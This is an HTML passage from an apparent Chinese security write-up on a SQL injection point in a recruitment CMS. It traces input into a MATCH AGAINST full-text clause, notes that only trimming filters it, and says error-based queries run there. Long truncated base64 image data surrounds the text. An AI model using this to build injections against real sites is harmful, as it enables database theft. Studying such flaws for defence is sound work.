Dg4LDQUADLHj6dQKKdPn+p1HRaL3VAvXblq5XPPPavV6adNnUaU+/nxv/nm6+Urlh86dCgxMVEg6P6k+fv7v/HmG6vXrP7xx+2pqWlhYQOO8OdUd/olYs5dzL++o1x6+m992/Y7/z/99BMRQl2yZIlAIHjt9ddWr1n9ww8/zJk9xznPPB7v5b+//NSfnmpqaho7ZgxRyGSybty4vuaR1f/98guJWJKWlgYD3KzAQNH8+QtKS0v/8te//PnZZ+12+8wZM7du23b48GG9Xv/47x7ftm2bczxBQUHz58+/ciV/xcoVf3r6T1QKednSZS567MWN6fanp/+0YuWKGzduTJs61VlusZifffbPL65bZ7Paxtx8CwEBAT/t/GnNI2veeutNob//+MzMId8PhBBCCCGEEEL3wz2FVv3Line truncated
|
||||
<p blockindex=26>一路跟进到 PDO 处理模块中,最终整个构造好的 SQL 语句如下:</p>
|
||||
<pre blockindex=27><code class="hljs language-sql"><span class=hljs-keyword>SELECT</span> `b`.`id` <span class=hljs-keyword>FROM</span> `qs_jobfair_online_participate` `a` <span class=hljs-keyword>RIGHT</span> <span class=hljs-keyword>JOIN</span> `qs_resume_search_key` `b` <span class=hljs-keyword>ON</span> `a`.`uid`<span class=hljs-operator>=</span>`b`.`uid` <span class=hljs-keyword>WHERE</span> `a`.`jobfair_id` <span class=hljs-operator>=</span> <span class=hljs-number>1</span> <span class=hljs-keyword>AND</span> `a`.`utype` <span class=hljs-operator>=</span> <span class=hljs-number>2</span> <span class=hljs-keyword>AND</span> `a`.`audit` <span class=hljs-operator>=</span> <span class=hljs-number>1</span> <span class=hljs-keyword>AND</span> ( <span class=hljs-keyword>MATCH</span> (`intention_jobs`) AGAINST (<span class=hljs-string>'sec'</span> <span class=hljs-keyword>IN</span> <span class=hljs-type>BOOLEAN</span> MODE) ) <span class=hljs-keyword>ORDER</span> <span class=hljs-keyword>BY</span> `b`.`refreshtime` <span class=hljs-keyword>DESC</span> LIMIT <span class=hljs-number>0</span>,<span class=hljs-number>10</span>
|
||||
</code></pre>
|
||||
<p blockindex=28><img src=data:image/png;base64,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 truncated
|
||||
<h4 blockindex=29>MATCH AGAINST 结构</h4>
|
||||
<p blockindex=30>在上面的 SQL 语句中可以注意到 MATCH AGAINST 结构。我们简化这个 SQL 语句进行分析。</p>
|
||||
<pre blockindex=31><code class="hljs language-sql"><span class=hljs-keyword>SELECT</span> <span class=hljs-operator>*</span> <span class=hljs-keyword>FROM</span> qs_resume_search_key <span class=hljs-keyword>WHERE</span> ( <span class=hljs-keyword>MATCH</span> (intention_jobs) AGAINST (<span class=hljs-string>'sec'</span> <span class=hljs-keyword>IN</span> <span class=hljs-type>BOOLEAN</span> MODE))
|
||||
</code></pre>
|
||||
<p blockindex=32>查询<a href=https://mariadb.com/kb/en/match-against/>相关资料</a> 后得知 <code>MATCH AGAINST</code> 是一种用于在全文索引上执行全文检索的结构,格式如下:</p>
|
||||
<pre blockindex=33><code class="hljs language-rb">MATCH (col1,col2,...) AGAINST (expr [search_modifier])
|
||||
</code></pre>
|
||||
<ul blockindex=34>
|
||||
<li>col 表示要搜索的列</li>
|
||||
<li>expr 表示检索的关键字</li>
|
||||
<li>modifier 表示搜索的模式(可选)<br>
|
||||
其中 intention_jobs 就是搜索的列,sec 就是待检索的关键字,BOOLEAN 模式表示支持布尔操作符和修饰符。</li>
|
||||
</ul>
|
||||
<p blockindex=35>来到数据库中测试 <code>expr</code> 位置是否可插入查询语句,使用报错查询可以成功执行。那么下一步就可以构造可利用的 SQL 语句了。<br>
|
||||
<img src=data:image/png;base64,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 truncated
|
||||
<h4 blockindex=36>检查过滤代码</h4>
|
||||
<p blockindex=37>跟进查看,这里只对输入做了 trim 操作。<br>
|
||||
<img src="data:image/png;base64,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